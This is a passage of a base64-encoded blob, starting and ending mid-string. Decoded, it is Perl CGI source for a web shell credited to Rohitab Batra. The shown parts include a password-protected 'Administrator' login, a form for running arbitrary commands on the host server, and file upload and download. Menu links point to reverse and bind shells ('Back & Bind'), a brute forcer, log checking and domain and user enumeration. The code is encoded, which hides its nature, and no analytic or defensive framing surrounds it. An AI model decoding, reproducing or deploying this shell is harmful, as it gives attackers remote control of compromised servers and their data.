m1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tL